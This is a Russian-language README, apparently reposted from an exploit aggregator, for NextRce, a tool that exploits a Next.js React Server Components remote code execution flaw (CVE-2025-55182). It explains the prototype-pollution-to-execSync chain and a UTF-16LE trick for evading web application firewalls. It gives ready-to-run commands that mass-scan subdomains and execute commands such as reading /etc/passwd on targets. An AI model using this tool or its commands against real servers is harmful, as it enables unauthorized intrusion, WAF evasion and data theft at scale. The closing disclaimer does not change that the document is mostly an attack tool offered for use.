## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-NEXTRCE
# NextRce — инструмент эксплуатации RSC в Next.js (CVE-2025-55182)

    
### Продвинутый сканер и инструмент эксплуатации уязвимостей для Next.js App Router
**РазработаноMitsec**
* * *
## 🔥 Новая возможность: режим обхода WAF (UTF-16LE)
Стандартные полезные нагрузки, содержащие такие ключевые слова, как `child_process` или `execSync`, часто блокируются межсетевыми экранами веб-приложений (WAF).
**NextRCSWaff.py** использует специализированный механизм кодирования **UTF-16LE (Little Endian)**. При кодировании вредоносной полезной нагрузки в этом формате последовательность байтов полностью меняется, что делает её невидимой для большинства сигнатурных WAF. При этом сервер Next.js (Node.js) корректно декодирует и выполняет команду.

_Доказательство концепции: на скриншоте выше показано, как стандартная полезная нагрузка блокируется (сверху), а затем успешно выполняется RCE с помощью NextRCSWaff.py с флагом --bypass (снизу)._
* * *
## 📖 Описание
**NextRce** — это высокопроизводительный многопоточный инструмент безопасности, предназначенный для обнаружения и эксплуатации **CVE-2025-55182**. Он нацелен на реализацию **React Server Components (RSC)** в архитектуре Next.js **App Router**.
Манипулируя процессом сериализации в Server Actions, NextRce внедряет специально сформированную полезную нагрузку для достижения **удалённого выполнения кода (RCE)** на уязвимых экземплярах. Он оснащён интеллектуальным механизмом обнаружения, который автоматически различает уязвимую архитектуру App Router и безопасные устаревшие Pages Router, обеспечивая эффективность при массовом сканировании.
## 🚀 Ключевые возможности
* **🛡️ Обход WAF (NextRCSWaff.py):** использует кодировку UTF-16LE для обхода обнаружения WAF, сохраняя целостность полезной нагрузки на стороне сервера.
* **Умное определение архитектуры:** эвристически анализирует DOM (в поисках `window.__next_f`), чтобы отличить уязвимые цели **App Router** от сайтов на устаревшем Pages Router.
* **Готовность к конвейерам и CI/CD:** полностью поддерживает передачу через `stdin`. Легко интегрируется с инструментами разведки, такими как `subfinder`, `httpx` и `gau`.
* **Механизм массового сканирования:** встроенный `ThreadPoolExecutor` позволяет одновременно сканировать тысячи доменов с минимальным потреблением ресурсов.
* **Автоматический разбор:** автоматически извлекает корректные URL из смешанных форматов входных данных (например, кодов состояния, заголовков или необработанных журналов).
* **Живой вывод RCE:** выполняет команды и получает результат напрямую из digest ответа сервера.
## 🔍 Технический анализ
### Уязвимость (CVE-2025-55182)
Next.js App Router использует собственный формат сериализации для React Server Components (RSC). Уязвимость существует в логике десериализации заголовков `Next-Action`. Когда специально созданный объект (загрязняющий `__proto__`) отправляется на конечную точку серверного действия (например, `/adfa`), внутренний парсер может быть принуждён к выполнению произвольного кода Node.js через `child_process`.
### Порядок эксплуатации
1. **Разведка:** NextRce отправляет безвредный зонд для проверки заголовков `X-Powered-By: Next.js` и характерных структур путей (`/_next/`).
2. **Идентификация:** сканирует тело ответа на наличие маркера гидратации App Router:
* `window.__next_f` -> **уязвим (App Router)**
* `__NEXT_DATA__` -> **безопасен (Pages Router)**
3. **Внедрение полезной нагрузки:** если архитектура уязвима, NextRce формирует запрос multipart/form-data с сериализованным вредоносным JSON-объектом, нацеленным на прототип.
4. **Выполнение и эксфильтрация:** полезная нагрузка заставляет сервер выполнить `execSync(cmd)`. Вывод `stdout` кодируется в base64 и возвращается в поле `digest` ответа сервера с ошибкой; NextRce декодирует и отображает его.
## 🛠️ Установка
root@kitploit:~
# Clone the repository
git clone [https://github.com/ynsmroztas/NextRce.git](https://github.com/ynsmroztas/NextRce.git)
# Navigate to the directory
cd NextRce
# Install dependencies
pip install requests
💻 Примеры использования
1. Режим обхода WAF (с помощью NextRCSWaff.py)
Используйте этот скрипт, если цель выглядит уязвимой, но стандартные эксплойты блокируются.
# Enable UTF-16LE encoding with the --bypass flag
python3 NextRCSWaff.py -u https://target.com) -c "whoami" --bypass
2. Режим конвейера / Bug Bounty
Предназначен для конвейеров Linux. Направляйте списки поддоменов прямо в инструмент.
# Standard scan
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 nextrce.py -c "id" -t 50
# WAF Bypass scan
subfinder -d target.com -silent | httpx -sc -td -title -server -silent | python3 NextRCSWaff.py -c "id" -B
3. Сканирование одной цели
Проверьте конкретную конечную точку с произвольной командой с помощью стандартного скрипта.
python3 nextrce.py -u https://vulnerable.target.com -c "cat /etc/passwd"
4. Массовое сканирование из файла
Сканируйте список URL из файла с высокой степенью параллелизма.
python3 nextrce.py -l targets.txt -c "whoami" -t 100
5. Режим прокси (отладка)
Направляйте трафик через Burp Suite или другой прокси для анализа.
python3 nextrce.py -u https://target.com -p http://127.0.0.1:8080
⚙️ Параметры командной строки
Flag,Description,Default
"-u, --url",URL одиночной цели для сканирования,None
"-l, --list",Путь к файлу со списком URL,None
"-c, --cmd",Команда для выполнения на сервере,id
"-t, --threads",Количество одновременных потоков,30
"-p, --proxy","URL HTTP-прокси (например, http://127.0.0.1:8080)",None
"-v, --verbose",Включить подробный вывод (показывать неудачные попытки),False
"-B, --bypass",(только для NextRCSWaff.py) Включить кодировку UTF-16LE для обхода WAF,False
⚠️ Отказ от ответственности
Этот инструмент разработан только для образовательных целей и исследований в области безопасности. Автор (Mitsec) не несёт ответственности за любое незаконное использование, ущерб или несанкционированный доступ, вызванные данным инструментом. Всегда получайте явное разрешение владельца системы перед проведением любого тестирования безопасности.
👤 Автор
NextRce разработан и поддерживается Mitsec.
Twitter/X: @ynsmroztas
GitHub: ynsmroztas